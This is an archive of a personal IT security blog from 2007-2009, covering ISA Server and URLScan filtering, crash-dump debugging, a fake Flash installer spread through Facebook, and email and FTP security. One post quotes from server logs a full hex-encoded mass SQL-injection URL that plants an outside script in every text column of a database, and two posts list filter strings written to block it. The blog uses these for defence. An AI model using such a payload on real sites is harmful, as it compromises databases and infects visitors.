Just another security blog?

Geting infected through Facebook -- Part 1

2009-05-31T17:22:00.012+02:00

Recently I saw an "interesting" URL link on my Facebook. Knowing the person, and I decided to check it out.

Somehow I decided to visit this URL site from one of my virtual computers that I can easily discard. Once on the site and before I got redirected I was able to see this

Since this didn't help much I wanted to check out the source code.

While this was not very useful (yet), I did notice the redirect URL in the status bar of my browser.

This redirection actually took me to different URL addresses at different times of testing.

Once the site loads, it notifies the user that it requires Adobe Flash Player 10.37. Checking out Adobe site the latest version they are offering is 10.0.22.87.

(joke mode = on) This new version (10.37) must be coming from China ;-). They always have the latest versions ;-) (joke mode = off)

I guess this is a good oppurtunity again to stress how important it is that you get your software from trusted and reliable source and not to blindly trust everyone.

There are few links with comments on this site and all of them lead to the same thing -- setup.exe file.

Setup.exe file in this case in 15 KB in size compared to Adobe Flash Player offered by Adobe which is 15 MB in size.

I decided to go forward with this and download and run the setup.exe and see what happens. I will be writing about this in part 2.

NT Conference 2009 materials

2009-05-29T13:25:00.002+02:00

I posted my materials from NT Conference 2009 on my website. You can find power points and some other materials here: http://www.krneki.net/NTK09/

Let me know if you have any questions on the subject.

Question from EBS training

2008-11-10T12:11:00.002+01:00

There was an interesting question on EBS training about vitalizing EBS servers and support for such configuration.

The answer is yes. You can run you EBS environment virtualized and it is supported.

Here is also question and answer from Microsoft website…

Does EBS 2008 licensing allow for virtualization? (For example, Windows Server 2008 Standard includes Hyper-V with a license to run one server operating system in Hyper-V.)

For EBS 2008 Standard Edition: You can run one instance of each of the management server software, the security server software, and the messaging server software in a physical or virtual operating system environment (OSE) on up to 3 servers at any one time.
For EBS 2008 Premium Edition: You can run one instance of each of the management server software, the security server software, the messaging server software, and “premium server” software in a physical or virtual OSE on up to 5 servers at any one time. For the premium server software,

You can run an instance of Windows Server 2008 Standard in a physical or virtual OSE; and if you run a virtual OSE, you can run an additional instance of Windows Server 2008 in a physical OSE in order to run hardware virtualization software or provide hardware virtualization services or run software to manage and service operating system environments on the licensed server.

You can run any number of instances of SQL in one physical or virtual machine, and it must be joined to the EBS domain.

You can even find a guide on Microsoft website on how to set up the virtual environment (document is currently not up-to-date and is based on RC0; still it should give you a general idea).

Essential Business Server

2008-11-05T21:19:00.003+01:00

I published materials for "Essential Business Server" partner training meeting held at Microsoft Slovenija today.

You can find all materials here "http://www.krneki.net/EBS/"

SQL Injection/XSS attacks and URLScan 3.0

2008-10-09T08:15:00.002+02:00

In my previous post I wrote about protecting web sites from SQL Injections, XSS and other URL manipulation by using ISA Server. The question for this post is what can users and system administrators without ISA do to protect their (Microsoft) web servers. URLScan 3.0 is a free tool from Microsoft and answer to the above question. URLScan was recently release and will run on IIS 5.1 and newer including IIS 7 running on Windows 2008. It works as ISAPI filter and will check any URL passed to the server. If the URL matches any filter criteria URLScan ISAPI filter will block such request.

After downloading URL Scan and following simple installation instructions we can start configuring our own filters and settings.

First, let’s create an error file that will show an error when an illegal URL is passed to the server. We can create this file inside the website working folder (default "c:\inetpub\wwwroot"). I named my error file "err.htm".

In this file we can enter any message to users passing malformed URL that we want. Message can be HTML formatted or if you want you can even create aspx file that will display visitors IP address or redirect bad request to some other address (e.g. default page). For this demonstration I used simple text message stating "Illegal URL detected…" (picture below)

Now we can open and edit urlscan.ini file by default located in "\Windows\System32\inetsrv\urlscan\".

First let’s edit

RejectResponseURL=/err.htm

"err.htm" is name of the file that we created above. Any rejected URL request will get redirected to this file (picture below)

Next lets scroll down in the urlscan.ini fille to [DenyURLSequences] segment where we can add additional filters. This could include:

"Char("
"exec(@s)"
"..."

And others that I mentioned on my previous post or the ones that you might discovered on your own.

Your urlscan.ini file might now look something like this (picture below)

Any user passing illegal URL to our web server will get an error like this (picture below)

Recommendation: Check out other options in urlscan.ini file that might be useful to you. E.g. if you want to limit URL length you can also edit [RequestLimits] segment

MaxAllowedContentLength=
MaxUrl=
MaxQueryString=

with values that work in your environment. This is actually something that you will have to test in your environment first.

Conclusion: Personally, I prefer to use ISA Server for such filtering when I can. It stops these kinds of attacks at the network edge before the malformed URL even "touches" the web server.

Note: This was never meant as permanent cure for SQL Injection or XSS attacks. This is just a precaution and to buy some time to check and fix any potential vulnerabilities in the web applications.

SQL Injection/XSS attacks and ISA HTTP filter

2008-10-05T19:58:00.012+02:00

In my previous post I wrote about blocking China because a lot of SQL Injection/XSS attacks against my customer servers originated from there. In this post I will write about some other steps we took to protect the servers.

From log files we were able to determine that computers there are part of zombie network were passing following URL against the web servers:

http://www.[domain].com/Default.aspx?id=223&lang=2;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861 72283430303029204445434C415245205461626C655F437572736F7220435552534F5 220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737973 6F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D6 22E696420616E6420612E78747970653D27752720616E642028622E78747970653D39 39206F7220622E78747970653D3335206F7220622E78747970653D323331206F72206 22E78747970653D31363729204F50454E205461626C655F437572736F722046455443 48204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4 043205748494C4528404046455443485F5354415455533D302920424547494E206578 65632827757064617465205B272B40542B275D20736574205B272B40432B275D3D272 7223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F77777733
2E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212
D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B65
20272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F7
77777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F736372697074
3E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F43757
2736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572
736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

After analyzing this URL we determined few optional strings to block. Here are some of them:

"declare @s char("
"exec(@s)"
"@s=cast("
"char("

Not seen in above encoded URL is also string "script src=http://" which we also decided to block

I decided to block above strings on ISA Server that is in this case front end firewall. I opened ISA Server Management console and right clicked on the publishing rule for the server that was getting attacked. Here I selected "Configure HTTP" (picture below).

Here we select "Signatures" tab and select the "Add" option (picture below)

Here we can now enter strings that we identified earlier and we want to block when they appear in the URL (picture below)

After clicking OK we can preview entered strings (picture below)

We also added another filter under "General" tab. URL in our example is very long (over 1300 characters) and we decided to limit how long the URLs passed to our web servers can be. Instead of default 10240 bytes we decreased the value to 512 bytes which will more than accommodate our needs (picture below). URL requests longer than 512 bytes will be blocked.

When URL matching any entered filters ISA will block the request before it reaches the potentially vulnerable web server (picture below).

Note: This was never meant as permanent cure for SQL Injection or XSS attacks. We did this just as a precaution and to buy some time to check the web applications for any vulnerabilities!

Bleeding Edge materials...

2008-10-03T19:26:00.003+02:00

My materials (PPTs etc) from Bleeding Edge are now available for download.

Importing ISA Server Computer Set from Standard Edition to Enterprise Edition

2008-09-22T20:15:00.009+02:00

Note: you should backup ISA Server configuration before trying out following workarounds (just in case) ;-)

My customers are no exception; they too are getting attacked¹ from IP addresses belonging to China address space. For some of them we simply decided to block all traffic originating in China. For customers using ISA server as a firewall, I decided to use "Country by Country ISA Computer Sets" prepared by Thor (thank you Thor).

The scripts that we could download were prepared for ISA Server 2004 or ISA Server 2006 Standard Edition and they could not be imported to ISA Server Enterprise Edition. If you try to import it to ISA Server Enterprise Edition you would get the following error:

Error: 0xc00403a4
Enterprise Edition settings cannot be imported into Standard Edition, and Standard Edition settings cannot be imported into Enterprise Edition.
The error occurred on object 'ComputerSets' of class 'Computer Sets' in the scope of array 'Firewall'.

I really didn't want to copy and paste or manually recreate the computer set. After playing around with the XML file containing computer set I figured out that if you change fpc4:Edition line from

to

you can now import computer set to ISA Server 2006 Enterprise Edition even if it was exported from ISA Server 2006 Standard Edition. You should see the above line near the top of the XML file.

Here are also screenshots of the XML file (before and after):

Standard Edition

Enterprise Edition

1. I will write more about the attacks themselves in my next post...

Bleeding Edge Conference...

2008-09-11T20:58:00.002+02:00

I am getting ready for Bleeding Edge conference. The conference will be held on October 1st in Portorož – Slovenia.

It is one day event with two tracks. Speakers will be Dejan Sarka, Dušan Zupančič, Matevž Gačnik, Miha Markič, Miha Valenčič and myself. Hm – it looks like we will have "Miha track…" :-)

I am really looking forward to this event. It should be very educational! I hope to see you there!

Fine grained policies and Password Policy Manager (PPM)

2008-09-06T21:30:00.028+02:00

Windows 2008 AD DS (Active Directory Domain Services) allow administrators to set different password policies to different users or groups. In practice this could mean that administrator can set a password policy of e.g. minimum 5 characters ¹ for a password that must be changed every 60 days for ordinary users wile a group of administrators must have a password with at least e.g. 14 characters that they need to change every 30 days.

To achieve this, administrator must create different Password Settings objects (PSO) and apply them directly to user objects or better to group. Any member of the group will now have password policy that PSO linked to the group defines.

My friend Miha Jakovac and I wrote (well Miha did most of the writing ;-) ) a free tool called Password Policy Manager or PPM that allows administrators to use GUI tools for creating and applying PSO to users or groups.

You can also use the tool to search for any existing PSOs, edit existing PSOs, delete existing PSOs and view applied PSOs to users or groups.

You can download and use PPM for free.

Let Miha or me know what you think about the tool ...

I don’t recommend using password policy that allows users such short passwords

Following are some screenshots of the tool...

Creating new PSO

Applying PSO to user

Checking for any existing PSOs applied to the object

Result of the check will show PSO that users is a member of. Here you can also remove user (or group) from applied PSO

Searching

Hint 1: You can use keywords...
Hint 2: You could search for specific user or group and apply new PSO to it...

Result of the search

With return list of PSOs you can view details of the PSOs, edit them, delete them etc.

Viewing PSO details

You can view details of PSO such as password length, password history and other settings. You can also remove any user from PSO that might be linked to it. If you wish, you could export the settings to LDF formatted file.

Slow mail relay server performance

2008-08-30T21:37:00.005+02:00

Recently I was troubleshooting slow performance of customer's server. After going through regular check such as amount or RAM, processor power using task manager that didn't reveal anything useful I run Performance Monitor (perfmon).

By default perfmon shows three counters (on Windows server 2oo3) and one of them is "Average disk queue length".

Looking at the picture below, you can see (highlighted and circled in the green) that average disk queue length was over 3 almost all of the time.

Average disk queue length indicates the average number of both read and write requests that were queued for the selected disk during the sample interval. In other words, on this particular server, there are more requests for reading and writing operations that server can handle. Browsing through different recommendations, anything higher than 1 should be investigated as potential bottleneck and should be investigated.

At this point I was getting somewhere with this server. Since disk queue length was high I decided to check if this hard disk was badly defragged (picture below) and I was proven right.

To explain this a bit further. This is a dedicated mail relay server sitting in DMZ, constantly receiving e-mails (and a lot of spam) from the internet. This means it is constantly receiving small files, writing them to hard drive, forwarding them to internal mail servers and then deleting them from the hard disk. This amounts to a lot of reading and writing requests.

Investigating further I discovered that "badmail" folder hasn't been cleaned out in a very long time. It contained more then 100.000 (small) files.

Resolution:

Emptying badmail folder
Performing defrag on the hard drive -- numerous times
I created a batch job that runs several times a day cleaning out "badmail" folder
I created a batch job that is running defrag on the server every night

Since making these changes while server is still under a lot of stress it is performing much better then before.

POP3 and (password) security... (Part 2)

2007-11-12T21:50:00.000+01:00

After writing "POP3 and (password) security", I received few e-mails asking me about potential consequences of someone knowing (learning) your e-mail passwords…

Well, it depends on the (e-mail) system. Most obvious consequence is that someone other than you can now read your e-mail. Every one of us now has to decide if that is bad and how bad.

<funny mode = "on">
Personally I wish someone would guess my password and read my e-mail in hopes of this person responding to some of them instead of me... ;-) ...
</funny>

Next thing we have to ask ourselves is, where else do we use this same username and password? At time where single-sign-on systems are more and more popular, one password is used to access your e-mail and other (corporate) systems that might be holding sensitive data.

Last but not least; and too often underestimated consequence. Some e-mail systems are configured (some of them by default) to allow relaying of any e-mail if clients successfully authenticate.

What is e-mail relaying?
In general, e-mail servers will only accept inbound e-mail messages where "Mail to:" ("rcpt to:") filed matches domain name that e-mail server is "responsible" for. In my case this would be anything ending with "@krneki.net". E-mail messages that have destination address anything other than "@krneki.net" should get rejected.

Knowing username and password would allow anyone to authenticate against e-mail server (SMTP service) and submit messages destined to any domain other such as "@gmail.com" making server accept and relay messages to other e-mail servers.

This is bad for few reasons:

It will consume all available resources (e.g. hard disk space)
It is very likely that your public IP address will end up on spam list (black list) preventing delivery of our legitimate e-mail messages to our partners and customers

Such attacks against e-mail servers are not uncommon and are popular enough to get mentioned on Wikipedia!

KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e) in fw.sys

2007-11-07T11:10:00.000+01:00

I received this dump files from our customer. Unfortunately there seem to be something wrong with dump file itself and I had a bit of trouble getting necessary information from it.

Computer in trouble:
Windows Server 2003 Kernel Version 3790 (Service Pack 2) MP (2 procs) Free x86 compatible
Product: Server, suite: TerminalServer SingleUserTS
Built by: 3790.srv03_sp2_rtm.070216-1710
Kernel base = 0x80800000 PsLoadedModuleList = 0x808af9c8
Debug session time: Wed Oct 31 11:46:37.968 2007 (GMT+1)
System Uptime: 0 days 0:01:33.781

Error reported by the computer:
KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)

!analyze –v returns following information
STACK_COMMAND: .bugcheck ; kb
FOLLOWUP_IP: fw+288aebf66b6aeb 0c8b or al,0x8b
FAULTING_SOURCE_CODE:
FOLLOWUP_NAME: MachineOwner
SYMBOL_NAME: fw+288aeb
MODULE_NAME: fw
IMAGE_NAME: fw.sys <-- It looks like fw.sys driver is causing problems
DEBUG_FLR_IMAGE_TIMESTAMP: 45214c7f
FAILURE_BUCKET_ID: 0x8E_fw+288aeb
BUCKET_ID: 0x8E_fw+288aeb
Followup: MachineOwner

STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong.808a3600 80839b02 00000000 0000000e 00000000 intelppm+0x2ca2
808a3604 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0xa

Let's take a look at registers
0: kd> r
eax=6029c494 ebx=ffdffee0 ecx=ffdffee0 edx=00000041 esi=ffdffec0 edi=867edd70
eip=f75d9ca2 esp=808a35e4 ebp=808a3600 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206
intelppm+0x2ca2:f75d9ca2 01895104fbf4 add [ecx+0xf4fb0451],ecx ds:0023:f4db0331=????????

I am not sure if this is actual dump file problem or something else. Analysis it stating that fw.sys caused the problem, but in STACK_TEXT and in registers we can spot intelppm+0x2ca2 (intelppm.sys driver). intelppm.sys is Microsoft's Processor Device Driver... :-). OK. Let's say I am willing to give benefit of the doubt to WinDBG... :-)

Let's get some more information about fw.sys
0: kd> lm v m fw*
start end module name
f642e000 f69ceb20 fw (no symbols)
Loaded symbol image file: fw.sys
Image path: fw.sys
Image name: fw.sys
Timestamp: Mon Oct 02 19:29:35 2006 (45214C7F) <-- Coult be a bit old...
CheckSum: 005ACF67
ImageSize: 005A0B20
Translations: 0000.04b0 0000.04e0 0409.04b0 0409.04e0

And for intelppm.sys
0: kd> lm v m intel*
start end module name
f75d7000 f75e6000 intelppm T (no symbols)
Loaded symbol image file: intelppm.sys
Image path: intelppm.sys
Image name: intelppm.sys
Timestamp: unavailable (FFFFFFFE) <-- Hmmm... ?
CheckSum: missing <-- Hmmm; This shouldn't be missing
ImageSize: 0000F000
Translations: 0000.04b0 0000.04e0 0409.04b0 0409.04e0

fw.sys driver belongs to Check Point firewall.

I checked for any updates on Chek Point's website and knowledgebase where they do list few problems/solutions related to fw.sys and blue screens. Unfortunately Check Point seemed to have some connectivity problems between their front end and backend servers and I was not able to see any solutions... At this point I turned the case over to our in house Check Point experts... :-)

POP3 and (password) security

2007-11-05T10:03:00.000+01:00

This is one of the most common "security misunderstanding" and I see it very often.

Whenever I am setting up e-mail servers and enabling web access, there is always a long and hard discussion on security. Customers are usually at this point worried about protection of their servers and usernames and passwords that will be sent over the internet. The obvious solution is SSL or even better TLS, which ensures that usernames, password and e-mail content are transferred from client computer to e-mail server and vice-versa in secure (encrypted) way.

After this is done, I often get strangest request possible. Enable and open POP3 and/or IMAP access to the server... and with this one simple sentence all security planning and considerations are gone

What I can't really understand is why is almost everyone thinking about security and SSL and encryption when it comes to web access and no one associates same security risks with POP3, IMAP, SMTP protocols and transfer of passwords?

Username and password are often sent in clear text (picture above)

Click image to enlarge

POP3 is not some magical protocol that would encrypt anything by itself. Yes, it is possible to set up POP3 in secure way (POP3S, IMAPS), but requires a bit more work compared to HTTPS and web access.

With web access you don't have to configure the clients, while with POP3 and IMAP you have to set the clients up to use secure protocols to send usernames and password in encrypted way. There is also an option which will protect (encrypt) the content of the e-mail while being downloaded from the server.

Content is also often transfered without protection... (picture above)
Click image to enlarge

None of this is done by default and most ISPs work in this manner! Even in closed (corporate) environments it can be a challenging, configuring couple of hundred if not thousands of clients. Most environments will have hard time doing the switch from insecure to secure protocols (e.g. POP3 to POP3S) because of extra configuration of the clients, possible downtime or even application incompatibilities. This is why it is extremely important to set up services and networks in a secure way in the first place.

There is another situation to consider and it is important one for roaming users. If you move from your network to a network where you are a guest, you might only be allowed access to some basic protocols such as HTTP, HTTPS, SMTP, and POP3, but not POP3S. POP3 by default runs on TCP port 110 while POP3S by default runs on TCP port 995 which might not be open on a gust network preventing roaming users from accessing their e-mails. This is more common problem then one might expect.

ISA Server 2006 Supportability Update

2007-10-31T19:51:00.001+01:00

I do a lot of work with different firewalls including Microsoft ISA Server. As with any firewall, there is always something to troubleshoot. User can't access particular website, another user didn't receive his e-mail etc. These are all reasons why we need a good and fast way to filter and analyze firewall logs.

In ISA Server 2004 and 2006 there are few new features that come with updates and allow firewall administrators to save existing queries in XML file and reuse them at a later time.

Click image to enlarge

For me this is really a time saver. Now I don't have to waste time and write same filters over and over again (e.g. excluding specific traffic and including other). I can simply carry most common queries on my USB drive and import them whenever I need them.

On ISA Server 2004, you get these new features when you install Service Pack 3 (SP3) for ISA Server.

On ISA Server 2006, you can get these features by installing ISA Server 2006 Supportability Update that you can download manually or you can use Microsoft Update Service.

Click image to enlarge

More information on ISA Server 2006 Supportability Update package can be found here "Description of the Internet Security and Acceleration (ISA) Server 2006 Supportability Update package"

0x9C_IA32_GenuineIntel -- MACHINE_CHECK_EXCEPTION (9c)

2007-10-25T23:32:00.001+02:00

New memory.dmp file, new challenge... :-)

After loading file to WinDBG and running a standard set of commands I am left with following relevant information.

BUSCONNERR - Bus and Interconnect Error BUS{LL}_{PP}_{RRRR}_{II}_{T}_err These errors match the format 0000 1PPT RRRR IILL

Concatenated Error Code: -------------------------- _VAL_UC_EN_ADDRV_PCC_BUSCONNERR_0

This error code can be reported back to the manufacturer. They may be able to provide additional information based upon this error. All questions regarding STOP 0x9C should be directed to the hardware manufacturer.

BUGCHECK_STR: 0x9C_IA32_GenuineIntel <---- Error 0x0000009C

DEFAULT_BUCKET_ID: DRIVER_FAULT

CURRENT_IRQL: 2

LAST_CONTROL_TRANSFER: from 80a84154 to 8087c480

STACK_TEXT:
808a0770 80a84154 0000009c 00000000 808a07a0 nt!KeBugCheckEx+0x1b
808a08a4 80a7b86f 80042000 00000000 00000000 hal!HalpMcaExceptionHandler+0x11e
808a08a4 f6932f36 80042000 00000000 00000000 hal!HalpMcaExceptionHandlerWrapper+0x77
808a3600 80839b02 00000000 0000000e 00000000 p3!AcpiC1Idle+0x12
808a3604 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0xa

STACK_COMMAND: kb

FOLLOWUP_IP:
p3!AcpiC1Idle+12
f6932f36 6a00 push 0x0

FAULTING_SOURCE_CODE:

SYMBOL_STACK_INDEX: 3

FOLLOWUP_NAME: MachineOwner

SYMBOL_NAME: p3!AcpiC1Idle+12

MODULE_NAME: p3

IMAGE_NAME: p3.sys <---- Here it looks like p3.sys driver caused the crash
DEBUG_FLR_IMAGE_TIMESTAMP: 45d6972c

FAILURE_BUCKET_ID: 0x9C_IA32_GenuineIntel_p3!AcpiC1Idle+12

BUCKET_ID: 0x9C_IA32_GenuineIntel_p3!AcpiC1Idle+12

Followup: MachineOwner---------

From stack it looks like p3.sys driver (Processor Device Driver) caused the crash of the server. One the other hand error 0x9C (0x0000009C) indicates hardware error.

Best article on the subject of 0x000000C (Understanding and troubleshooting the "Stop 0x0000009C" screen) states:

"The Pentium and Pentium Pro processors provide a mechanism to detect and to report hardware-related problems such as memory parity errors and cache errors. To signal a hardware error, the processor signals the detection of a machine check error by generating a machine check exception (Interrupt 18). Windows NT simply reports the fact that the error occurred and displays parameters that you can use to decode the exception. Contact your hardware vendor or processor manufacturer for information regarding the Machine Check Architecture or consult the Intel Pentium Pro Family Developer's Manual - Volume 3: Operating System Writer's Manual."

Above information is also displayed in dump file.

Full analysis of the dump file can be found here.

Possible resolutions:
Best recommendation suggested by above KB article is "contact your hardware vendor"

Problem caused by computer hardware

What you can do on your own?

Test your hardware (memory, processor, ...)
Check hardware connections
Think about recent hardware changes (incompatible components)
Think about recent configuration changes (e.g. enable or disable ACPI)
Update BIOS and other hardware (firmware)
Stress test your hardware (best done before going into production with the server)

Exchange Outlook Web Access (OWA) and red X

2007-10-24T22:05:00.000+02:00

Click image to enlarge

This problem ocures due to changes in Windows Vista and Internet Explorer 7 where dynamic HTML Editing ActiveX control was removed from Internet Explorer.

To solve this problem you need to update your Exchange servers with "Update for Exchange 2003 (KB 911829)". Note that you have to install Exchange 2003 SP2 before you can install this update.

Related KB article: You receive an error message when you try to perform any editing tasks, or you must click to enable the compose frame in Outlook Web Access

Important: Remember to always update your front-end servers first!
If you update your back-end server first and there is change in OWA functionality, clients will most likely not be able to use OWA. In the past these errors presented themselves as “Loading” text in OWA that never finished loading.
If you update your front-end server first, server will know about changes in functionality and will serve clients with working OWA. Now you can take your time and update all your back-end servers when you find time ;-).

ARCast.TV - Security Chat from Slovenia

2007-10-10T09:50:00.000+02:00

This ARCast was made May 2007 at Microsoft’s NT conference in Portorož, Slovenia.

There are two Mihas on the stage. I am one of them. I can't tell you which due to security reasons. ;-)

502 Proxy Error and ISA Server 2004

2007-10-06T11:20:00.000+02:00

It took me a bit to figure out why this ISA server was serving users with this error when they didn't ask for it:

Error Code: 502 Proxy Error. Cannot complete this function. (1003)
IP Address: 207.46.250.101
Date: 21.9.2007 5:39:07
Server: isaserver
Source: proxy

This is what the users got in their browsers when they tried to surf to their website of choice that morning.

Basically there were three reasons this took me more than 5 minutes:

The problem was just too basic
Error didn't give any clue to the real problem
It was 7:30 a.m. and I was still half asleep :-)

I check the usual stuff for any hint what might be causing this. I checked the disk space and there was plenty of it. Nothing unusual in the Event Logs, ISA services were running fine and nothing unusual in ISA Server MMC.

Since there was almost nothing left to check, I check network cards. Here I noticed that external Network Interface Card (NIC) has been disabled. Once I enabled it, the problem went away and I was able to get another half an hour of sleep.

I wish I would get something like "Could not connect" instead of "Error Code 502 Proxy Error".

Note to self. Don't forget to check the basics. :-)

Antivirus and servers

2007-10-01T18:41:00.000+02:00

I am not a big believer in file level antivirus software running on servers, specially when they are holding domain controllers role or are running exchange services. In my experience they tend to cause more problems than do good. While these problems are often related to misconfiguration of antivirus products they can lead to big problems with infrastructure (e.g. corrupted Active Directory or Exchange database, slow server responses and even Blue Screen of Death (BSOD)). No, I am not naming any vendor names, but I should still have some dump files laying around to prove it ;-). Anyway, they all have their fair share of "issues" :-)

Note: this post talks about file level antivirus, not an antivirus that is installed on e-mail servers to check inbound and outbound e-mails. I would recommend that every e-mail server has an antivirus installed to check arriving e-mails for viruses and other malicious code.

Let's take this idea step-by-step:

Virus
Property of the virus is that it can only infect a computer with some user interaction (e.g. user runs an infected file)

Worm
Worms on the other hand can infect a computer without any user action. They use vulnerabilities on systems that have not been updated (patched) to infect it. At the same time you cannot really rely on antivirus to protect the computer if the computer has not been updated (patched).
If we take a look at Blaster worm it used DCOM RPC Interface Buffer Overrun Vulnerability to infect the computer. Even up-to-date antivirus did not protect the system from infection, because the operating system itself was vulnerable. Once the operating system was updated, this computer was safe from the worm even without antivirus.

Side note: you could protect yourself from Blaster worm by enabling personal firewall on the computer (e.g. Windows Firewall)

Most common ways of infection
One of most common way of infection is by e-mail. I am yet to see a good reason to read an e-mail on a domain controller or on Exchange server itself.
Downloading infected file from the internet is another common way of infection. Just like with reading an e-mail, I can’t really see a scenario where administrator would need to browse the internet from domain controller. Patches can among other ways be deployed to computers using WSUS server. This is why I usually prohibit access to the internet from servers on the firewall. If I can I go even one step further and prohibit access to the internet for any users that are members of certain groups such as Domain Administrators group in domain.
I usually accomplish this by using Microsoft ISA Server, where you can configure who (user account or group) has access to the internet and who doesn't. You can also easily configure which web sites server has access to and discard all others. This way you can grant the server access to certain Microsoft websites (e.g. Windows Update) and deny access to all others by using URL addresses. Even if IP address of the destination web server changes access to the site will always work as long as URL address stays the same.
Other patches (e.g. driver patches) that are not available through Windows Update site, can be downloaded on the client PC where antivirus should be installed. Once the package was verified it can be copied to the server using USB memory sticks or even over the network.

If you decide to run antivirus software on your servers, make sure it is configured properly. Here are few articles that can help you with this:

Virus scanning recommendations for computers that are running Windows Server 2003, Windows 2000, or Windows XP

Overview of Exchange Server 2003 and antivirus software

The DHCP service does not start when you start a Windows Server 2003-based computer

Note: I have seen it few times now and this is the reason why I decided to post this. Certain antivirus product(s) forget the exclusions that you set under certain conditions which can cause unexpected problems. (as mentioned corrupted databases etc). If you are running antivirus software on your server, check on the exclusions every once in a while, specially if your server starts to behave oddly all of a sudden.

DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1) in bxnd52x.sys

2007-09-20T14:15:00.000+02:00

Every once in a while I receive a request to look at a crash dump file. I always like a good challenge and a break from my usual work. Tool that I use for basic analysis is Microsoft WinDbg.

3: kd> !analyze -v <- First command that I usualy use
************************************************************
** Bugcheck Analysis ** ************************************************************
DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1) <- Error also reported on "Blue Screen"

An attempt was made to access a pageable (or completely invalid) address at aninterrupt request level (IRQL) that is too high. This is usuallycaused by drivers using improper addresses.

If kernel debugger is available get stack backtrace.

Arguments:
Arg1: 0000000c, memory referenced
Arg2: d0000002, IRQL
Arg3: 00000001, value 0 = read operation, 1 = write operation
Arg4: f6287cea, address which referenced memory

Debugging Details:------------------

WRITE_ADDRESS: 0000000c

CURRENT_IRQL: 2

FAULTING_IP:
tcpip!IpTerminateOffload+9b
f6287cea 83671c00 and dword ptr [edi+0x1c],0x0

DEFAULT_BUCKET_ID: DRIVER_FAULT

BUGCHECK_STR: 0xD1

LAST_CONTROL_TRANSFER: from f6287cea to 80836de5

STACK_TEXT:
f78bec84 f6287cea badb0d00 00000000 85d10470 nt!KiTrap0E+0x2a7
f78bed18 f628e5ac 00000000 fbd60618 f7d29800 tcpip!IpTerminateOffload+0x9bf78bed30 f78bed30 fbd60618 00000002 00000000 tcpip!TcpInitiateUpload+0x8df78bed58 f628d634 fbd60618 00000002 891a87d4 tcpip!OlmNotifyUploadIndicate+0x60f78bed6c f71fafbd f7d29824 00000003 00000009 tcpip!TcpOffloadEventHandler+0x5bf78bed80 f76a07ef f7d29824 00000003 00000009 NDIS!NdisMTcpOffloadEventIndicate+0x1a
WARNING: Stack unwind information not available. Following frames may be wrong.
f78beda0 f72d4196 891a87d4 898ff708 00000000 bxnd52x+0x97ef <- File named bxnd52.sys f78bedc0 f72d4880 00000000 00000000 8914d9c0 bxvbdx+0x10196
f78bedd4 f72da925 89b1f004 839364a8 00000000 bxvbdx+0x10880
f78bedf4 f72daa95 89b1f004 f78bee54 00000001 bxvbdx+0x16925
f78bee18 f72dab3e 89b1f004 f78bee54 00000001 bxvbdx+0x16a95
f78bee3c f72dabc6 89b1f004 89b20d08 000012b2 bxvbdx+0x16b3e
f78bef54 f72c9be3 00000000 00000007 f72ca338 bxvbdx+0x16bc6
f78bef80 f72ca4ac f7737a40 89b203b0 f72ca41c bxvbdx+0x5be3
f78bef9c 8083d99a 89b203b0 89b1f004 00000001 bxvbdx+0x64ac
f78beff4 80839833 f535cd10 00000000 00000000 nt!KiRetireDpcList+0xca
f78beff8 f535cd10 00000000 00000000 00000000 nt!KiDispatchInterrupt+0x37
80839833 00000000 0000000a 0083850f bb830000 0xf535cd10

STACK_COMMAND: kb

FOLLOWUP_IP:
bxnd52x+97ef
f76a07ef 85ff test edi,edi

FAULTING_SOURCE_CODE:

SYMBOL_STACK_INDEX: 6

FOLLOWUP_NAME: MachineOwner

SYMBOL_NAME: bxnd52x+97ef

MODULE_NAME: bxnd52x

IMAGE_NAME: bxnd52x.sys <- File name (driver) that most likely caused the computer to crash

DEBUG_FLR_IMAGE_TIMESTAMP: 44a55446

FAILURE_BUCKET_ID: 0xD1_W_bxnd52x+97ef

BUCKET_ID: 0xD1_W_bxnd52x+97ef

Followup: MachineOwner---------

3: kd> lmvm bxnd52x <- this command can give us more information on the file bxnd52.sys

start end module name
f7697000 f76a7000 bxnd52x (no symbols)
Loaded symbol image file: bxnd52x.sys
Image path: \SystemRoot\system32\DRIVERS\bxnd52x.sys
Image name: bxnd52x.sys
Timestamp: Fri Jun 30 18:41:42 2006 (44A55446) <- driver date (it looks a bit old -- more then 1 year)
CheckSum: 00013D96 ImageSize: 00010000
Translations: 0000.04b0 0000.04e0 0409.04b0 0409.04e0

Googling the file bxnd52x.sys reveals that this is a Broadcom NIC (Network Interface Card) driver. In this case it is shipped as HP NC373i Multifunction Gigabit Server Adapter. At the time of writing, latest driver for this NIC awailable from HP was released in July 2007 (v. 3.4.10.0).

While doing this research on Google, I noticed that there were a lot of servers with this error, specially servers that where updated to Windows Server 2003 SP2 .

Attacks against FTP servers... (Part 2)

2007-09-17T18:20:00.000+02:00

In last few weeks I was monitoring my FTP servers for repeated attacks against them. At the moment I was able to identify few different types of attack.

One of them successfully logged on to the FTP server with account that was created for this purpose. This time attack came from IP address 210.188.204.80 which according to APNIC belong so Japan Network Information Center.

In the picture below, you can see successful authentication to the FTP server.

Note that password was edited out since I plan to use this account a bit longer :-).

Click image to enlarge

After successful authentication ftp client tried to erase a folder named "sarcaxxo" which does not exist on my server. After that they logged out of the system (picture below) and attack was over.

Click image to enlarge

I Googled the name "sarcaxxo" and found quite a few references to it.

